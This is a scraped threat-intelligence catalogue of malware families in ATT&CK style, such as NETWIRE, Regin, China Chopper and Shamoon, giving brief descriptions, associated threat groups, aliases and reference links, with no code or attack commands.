NETWIRE - S0198
is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)
Aliases: NETWIRE
NETWIRE - S0198 is also known as:
-
NETWIRE
Links |
https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/ |
ISMInjector - S0189
ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)
Aliases: ISMInjector
Contributors: Robert Falcone
ISMInjector - S0189 is also known as:
-
ISMInjector
Links |
Vasport - S0207
is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)
Aliases: Vasport
Vasport - S0207 is also known as:
-
Vasport
Links |
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051606-5938-99 |
Cherry Picker - S0107
Cherry Picker is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)
Aliases: Cherry Picker
Cherry Picker - S0107 is also known as:
-
Cherry Picker
Links |
XTunnel - S0117
XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)
Aliases: XTunnel, X-Tunnel, XAPS
XTunnel - S0117 is also known as:
-
XTunnel
-
X-Tunnel
-
XAPS
Naid - S0205
Naid is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)
Aliases: Naid
Naid - S0205 is also known as:
-
Naid
Links |
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-061518-4639-99 |
GeminiDuke - S0049
GeminiDuke is malware that was used by APT29 from 2009 to 2012. (Citation: F-Secure The Dukes)
Aliases: GeminiDuke
GeminiDuke - S0049 is also known as:
-
GeminiDuke
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
CORALDECK - S0212
is an exfiltration tool used by APT37. (Citation: FireEye APT37 Feb 2018)
Aliases: CORALDECK
CORALDECK - S0212 is also known as:
-
CORALDECK
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf |
Sakula - S0074
Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)
Aliases: Sakula, Sakurel, VIPER
Sakula - S0074 is also known as:
-
Sakula
-
Sakurel
-
VIPER
Links |
http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/ |
Agent.btz - S0092
Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)
Aliases: Agent.btz
Agent.btz - S0092 is also known as:
-
Agent.btz
Links |
https://securelist.com/agent-btz-a-source-of-inspiration/58551/ |
Prikormka - S0113
Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)
Aliases: Prikormka
Prikormka - S0113 is also known as:
-
Prikormka
Links |
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf |
NETEAGLE - S0034
NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)
Aliases: NETEAGLE
NETEAGLE - S0034 is also known as:
-
NETEAGLE
Links |
SLOWDRIFT - S0218
SLOWDRIFT is a backdoor used by APT37 against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)
Aliases: SLOWDRIFT
SLOWDRIFT - S0218 is also known as:
-
SLOWDRIFT
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf |
USBStealer - S0136
USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)
Aliases: USBStealer, USB Stealer, Win32/USBStealer
USBStealer - S0136 is also known as:
-
USBStealer
-
USB Stealer
-
Win32/USBStealer
CALENDAR - S0025
CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)
Aliases: CALENDAR
CALENDAR - S0025 is also known as:
-
CALENDAR
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Umbreon - S0221
A Linux rootkit that provides backdoor access and hides from defenders.
Aliases: Umbreon
Umbreon - S0221 is also known as:
-
Umbreon
Links |
Wingbird - S0176
Wingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)
Aliases: Wingbird
Wingbird - S0176 is also known as:
-
Wingbird
Links |
Nerex - S0210
is a Trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)
Aliases: Nerex
Nerex - S0210 is also known as:
-
Nerex
Links |
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051515-3445-99 |
Regin - S0019
Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003. (Citation: Kaspersky Regin)
Aliases: Regin
Regin - S0019 is also known as:
-
Regin
Links |
https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf |
AutoIt backdoor - S0129
AutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.
Aliases: AutoIt backdoor
AutoIt backdoor - S0129 is also known as:
-
AutoIt backdoor
Links |
POWRUNER - S0184
POWRUNER is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)
Aliases: POWRUNER
POWRUNER - S0184 is also known as:
-
POWRUNER
Links |
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
Power Loader - S0177
Power Loader is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Aliases: Power Loader, Win32/Agent.UAW
Power Loader - S0177 is also known as:
-
Power Loader
-
Win32/Agent.UAW
Pteranodon - S0147
Pteranodon is a custom backdoor used by Gamaredon Group. (Citation: Palo Alto Gamaredon Feb 2017)
Aliases: Pteranodon
Pteranodon - S0147 is also known as:
-
Pteranodon
Links |
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ |
RARSTONE - S0055
RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX. (Citation: Aquino RARSTONE)
Aliases: RARSTONE
RARSTONE - S0055 is also known as:
-
RARSTONE
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/ |
PUNCHBUGGY - S0196
PUNCHBUGGY is a dynamic-link library (DLL) downloader utilized by FIN8. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)
Aliases: PUNCHBUGGY
PUNCHBUGGY - S0196 is also known as:
-
PUNCHBUGGY
Links |
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html |
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html |
Matroyshka - S0167
Matroyshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)
Aliases: Matroyshka
Matroyshka - S0167 is also known as:
-
Matroyshka
SHOTPUT - S0063
SHOTPUT is a custom backdoor used by APT3. (Citation: FireEye Clandestine Wolf)
Aliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi
SHOTPUT - S0063 is also known as:
-
SHOTPUT
-
Backdoor.APT.CookieCutter
-
Pirpi
Links |
Orz - S0229
Orz is a custom JavaScript backdoor used by Leviathan. It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)
Aliases: Orz, AIRBREAK
Orz - S0229 is also known as:
-
Orz
-
AIRBREAK
Links |
Trojan.Karagany - S0094
Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)
Aliases: Trojan.Karagany
Trojan.Karagany - S0094 is also known as:
-
Trojan.Karagany
Links |
Kasidet - S0088
Kasidet is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)
Aliases: Kasidet
Kasidet - S0088 is also known as:
-
Kasidet
Links |
http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html |
CHOPSTICK - S0023
CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28) January 2017
Aliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp
CHOPSTICK - S0023 is also known as:
-
CHOPSTICK
-
SPLM
-
Xagent
-
X-Agent
-
webhp
Darkmoon - S0209
is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)
Aliases: Darkmoon
Darkmoon - S0209 is also known as:
-
Darkmoon
Links |
https://www.symantec.com/security%20response/writeup.jsp?docid=2005-081910-3934-99 |
MiniDuke - S0051
MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke. (Citation: F-Secure The Dukes)
Aliases: MiniDuke
MiniDuke - S0051 is also known as:
-
MiniDuke
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
BBSRAT - S0127
BBSRAT is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)
Aliases: BBSRAT
BBSRAT - S0127 is also known as:
-
BBSRAT
Links |
Elise - S0081
Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)
Aliases: Elise, BKDR_ESILE, Page
Elise - S0081 is also known as:
-
Elise
-
BKDR_ESILE
-
Page
Links |
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html |
KOMPROGO - S0156
KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)
Aliases: KOMPROGO
KOMPROGO - S0156 is also known as:
-
KOMPROGO
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
BISCUIT - S0017
BISCUIT is a backdoor that has been used by APT1 since as early as 2007. (Citation: Mandiant APT1)
Aliases: BISCUIT
BISCUIT - S0017 is also known as:
-
BISCUIT
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Uroburos - S0022
Uroburos is a rootkit used by Turla. (Citation: Kaspersky Turla)
Aliases: Uroburos
Uroburos - S0022 is also known as:
-
Uroburos
Links |
POWERSOURCE - S0145
POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)
Aliases: POWERSOURCE, DNSMessenger
POWERSOURCE - S0145 is also known as:
-
POWERSOURCE
-
DNSMessenger
Links |
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html |
hcdLoader - S0071
hcdLoader is a remote access tool (RAT) that has been used by APT18. (Citation: Dell Lateral Movement)
Aliases: hcdLoader
hcdLoader - S0071 is also known as:
-
hcdLoader
Links |
Pasam - S0208
Pasam is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)
Aliases: Pasam
Pasam - S0208 is also known as:
-
Pasam
Links |
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-050412-4128-99 |
Zeroaccess - S0027
Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)
Aliases: Zeroaccess, Trojan.Zeroaccess
Zeroaccess - S0027 is also known as:
-
Zeroaccess
-
Trojan.Zeroaccess
Links |
https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf |
Linfo - S0211
is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)
Aliases: Linfo
Linfo - S0211 is also known as:
-
Linfo
Links |
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051605-2535-99 |
Skeleton Key - S0007
Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to Skeleton Key is included as a module in Mimikatz.
Aliases: Skeleton Key
Skeleton Key - S0007 is also known as:
-
Skeleton Key
Links |
http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/ |
Shamoon - S0140
Shamoon is malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016)
Aliases: Shamoon, Disttrack
Shamoon - S0140 is also known as:
-
Shamoon
-
Disttrack
FALLCHILL - S0181
FALLCHILL is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)
Aliases: FALLCHILL
FALLCHILL - S0181 is also known as:
-
FALLCHILL
Links |
Briba - S0204
Briba is a trojan used by Elderwood to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)
Aliases: Briba
Briba - S0204 is also known as:
-
Briba
Links |
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051515-2843-99 |
Volgmer - S0180
Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)
Aliases: Volgmer
Volgmer - S0180 is also known as:
-
Volgmer
Links |
TDTESS - S0164
TDTESS is a 64-bit .NET binary backdoor used by CopyKittens. (Citation: ClearSky Wilted Tulip July 2017)
Aliases: TDTESS
TDTESS - S0164 is also known as:
-
TDTESS
Links |
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf |
4H RAT - S0065
4H RAT is malware that has been used by Putter Panda since at least 2007. (Citation: CrowdStrike Putter Panda)
Aliases: 4H RAT
4H RAT - S0065 is also known as:
-
4H RAT
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
TURNEDUP - S0199
TURNEDUP is a non-public backdoor. It has been dropped by APT33’s DROPSHOT malware (also known as Stonedrill). (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)
Aliases: TURNEDUP
TURNEDUP - S0199 is also known as:
-
TURNEDUP
Links |
BOOTRASH - S0114
BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)
Aliases: BOOTRASH
BOOTRASH - S0114 is also known as:
-
BOOTRASH
Links |
https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf |
China Chopper - S0020
China Chopper is a Web shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)
Aliases: China Chopper
China Chopper - S0020 is also known as:
-
China Chopper
Links |
Wiper - S0041
Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)
Aliases: Wiper
Wiper - S0041 is also known as:
-
Wiper
Links |
Unknown Logger - S0130
Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)
Aliases: Unknown Logger
Unknown Logger - S0130 is also known as:
-
Unknown Logger
Links |
gh0st - S0032
gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups. (Citation: FireEye Hacking Team)
Aliases: gh0st
gh0st - S0032 is also known as:
-
gh0st
Links |
https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html |
DOGCALL - S0213
is a backdoor used by APT37 that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)
Aliases: DOGCALL
DOGCALL - S0213 is also known as:
-
DOGCALL
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf |
Helminth - S0170
Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)
Aliases: Helminth
Contributors: Robert Falcone
Helminth - S0170 is also known as:
-
Helminth
Links |
CORESHELL - S0137
CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017
Aliases: CORESHELL, SOURFACE
CORESHELL - S0137 is also known as:
-
CORESHELL
-
SOURFACE
Links |
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
SOUNDBITE - S0157
SOUNDBITE is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)
Aliases: SOUNDBITE
SOUNDBITE - S0157 is also known as:
-
SOUNDBITE
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
Remsec - S0125
Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)
Aliases: Remsec, Backdoor.Remsec, ProjectSauron
Remsec - S0125 is also known as:
-
Remsec
-
Backdoor.Remsec
-
ProjectSauron
Links |
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets |
POORAIM - S0216
POORAIM is a backdoor used by APT37 in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)
Aliases: POORAIM
POORAIM - S0216 is also known as:
-
POORAIM
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf |
FLASHFLOOD - S0036
FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)
Aliases: FLASHFLOOD
FLASHFLOOD - S0036 is also known as:
-
FLASHFLOOD
Links |
TINYTYPHON - S0131
TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)
Aliases: TINYTYPHON
TINYTYPHON - S0131 is also known as:
-
TINYTYPHON
Links |
Gazer - S0168
Gazer is a backdoor used by Turla since at least 2016. (Citation: ESET Gazer Aug 2017)
Aliases: Gazer, WhiteBear
Contributors: Bartosz Jerzman
Gazer - S0168 is also known as:
-
Gazer
-
WhiteBear
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
SeaDuke - S0053
SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar. (Citation: F-Secure The Dukes)
Aliases: SeaDuke, SeaDaddy, SeaDesk
SeaDuke - S0053 is also known as:
-
SeaDuke
-
SeaDaddy
-
SeaDesk
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
HALFBAKED - S0151
HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)
Aliases: HALFBAKED
HALFBAKED - S0151 is also known as:
-
HALFBAKED
Links |
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
ADVSTORESHELL - S0045
ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)
Aliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco
ADVSTORESHELL - S0045 is also known as:
-
ADVSTORESHELL
-
NETUI
-
EVILTOSS
-
AZZY
-
Sedreco
SNUGRIDE - S0159
SNUGRIDE is a backdoor that has been used by menuPass as first stage malware. (Citation: FireEye APT10 April 2017)
Aliases: SNUGRIDE
SNUGRIDE - S0159 is also known as:
-
SNUGRIDE
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html |
S-Type - S0085
S-Type is a backdoor that was used by Dust Storm from 2013 to 2014. (Citation: Cylance Dust Storm)
Aliases: S-Type
S-Type - S0085 is also known as:
-
S-Type
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf |
Chaos - S0220
Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets
Aliases: Chaos
Chaos - S0220 is also known as:
-
Chaos
Links |
NetTraveler - S0033
NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)
Aliases: NetTraveler
NetTraveler - S0033 is also known as:
-
NetTraveler
Links |
http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf |
RemoteCMD - S0166
RemoteCMD is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal’s PSEXEC functionality. (Citation: Symantec Buckeye)
Aliases: RemoteCMD
RemoteCMD - S0166 is also known as:
-
RemoteCMD
Links |
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong |
Dyre - S0024
Dyre is a Trojan that usually targets banking information. (Citation: Raff 2015)
Aliases: Dyre
Dyre - S0024 is also known as:
-
Dyre
Links |
http://www.seculert.com/blogs/new-dyre-version-yet-another-malware-evading-sandboxes |
P2P ZeuS - S0016
P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)
Aliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS
P2P ZeuS - S0016 is also known as:
-
P2P ZeuS
-
Peer-to-Peer ZeuS
-
Gameover ZeuS
Links |
FinFisher - S0182
(Citation: FinFisher) is a government-grade commercial surveillance reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including Wingbird. (Citation: FinFisher) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)
Aliases: (Citation: FinFisher), FinSpy
FinFisher - S0182 is also known as:
-
FinFisher
-
FinSpy
ComRAT - S0126
ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla. (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)
Aliases: ComRAT
ComRAT - S0126 is also known as:
-
ComRAT
Links |
https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf |
POSHSPY - S0150
POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)
Aliases: POSHSPY
POSHSPY - S0150 is also known as:
-
POSHSPY
Links |
https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html |
adbupd - S0202
is a backdoor used by PLATINUM that is similar to Dipsind. (Citation: Microsoft PLATINUM April 2016)
Aliases: adbupd
Contributors: Ryan Becwar
adbupd - S0202 is also known as:
-
adbupd
Links |
Felismus - S0171
Felismus is a modular backdoor that has been used by Sowbug. (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)
Aliases: Felismus
Felismus - S0171 is also known as:
-
Felismus
Links |
https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware |
Truvasys - S0178
Truvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)
Aliases: Truvasys
Truvasys - S0178 is also known as:
-
Truvasys
Links |
Winnti - S0141
Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)
Aliases: Winnti
Winnti - S0141 is also known as:
-
Winnti
Links |
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf |
RTM - S0148
RTM is custom malware written in Delphi. It is used by the group of the same name (RTM). (Citation: ESET RTM Feb 2017)
Aliases: RTM
RTM - S0148 is also known as:
-
RTM
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf |
CallMe - S0077
CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)
Aliases: CallMe
CallMe - S0077 is also known as:
-
CallMe
Links |
HIDEDRV - S0135
HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)
Aliases: HIDEDRV
HIDEDRV - S0135 is also known as:
-
HIDEDRV
Mis-Type - S0084
Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012. (Citation: Cylance Dust Storm)
Aliases: Mis-Type
Mis-Type - S0084 is also known as:
-
Mis-Type
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf |
Hikit - S0009
Hikit is malware that has been used by (Citation: Axiom) for late-stage persistence and exfiltration after the initial compromise. (Citation: Axiom)
Aliases: Hikit
Hikit - S0009 is also known as:
-
Hikit
Links |
http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf |
ASPXSpy - S0073
ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version. (Citation: Dell TG-3390)
Aliases: ASPXSpy, ASPXTool
ASPXSpy - S0073 is also known as:
-
ASPXSpy
-
ASPXTool
Links |
Dipsind - S0200
Dipsind is a malware family of backdoors that appear to be used exclusively by PLATINUM. (Citation: Microsoft PLATINUM April 2016)
Aliases: Dipsind
Contributors: Ryan Becwar
Dipsind - S0200 is also known as:
-
Dipsind
Links |
SEASHARPEE - S0185
SEASHARPEE is a Web shell that has been used by APT34. (Citation: FireEye APT34 Webinar Dec 2017)
Aliases: SEASHARPEE
SEASHARPEE - S0185 is also known as:
-
SEASHARPEE
Links |
https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east |
Sykipot - S0018
Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)
Aliases: Sykipot
Sykipot - S0018 is also known as:
-
Sykipot
Links |
http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments |
DownPaper - S0186
DownPaper is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)
Aliases: DownPaper
DownPaper - S0186 is also known as:
-
DownPaper
Links |
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf |
OSInfo - S0165
OSInfo is a custom tool used by APT3 to do internal discovery on a victim’s computer and network. (Citation: Symantec Buckeye)
Aliases: OSInfo
OSInfo - S0165 is also known as:
-
OSInfo
Links |
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong |
HOMEFRY - S0232
HOMEFRY is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other Leviathan backdoors. (Citation: FireEye Periscope March 2018)
Aliases: HOMEFRY
HOMEFRY - S0232 is also known as:
-
HOMEFRY
Links |
GLOOXMAIL - S0026
GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)
Aliases: GLOOXMAIL, Trojan.GTALK
GLOOXMAIL - S0026 is also known as:
-
GLOOXMAIL
-
Trojan.GTALK
Links |
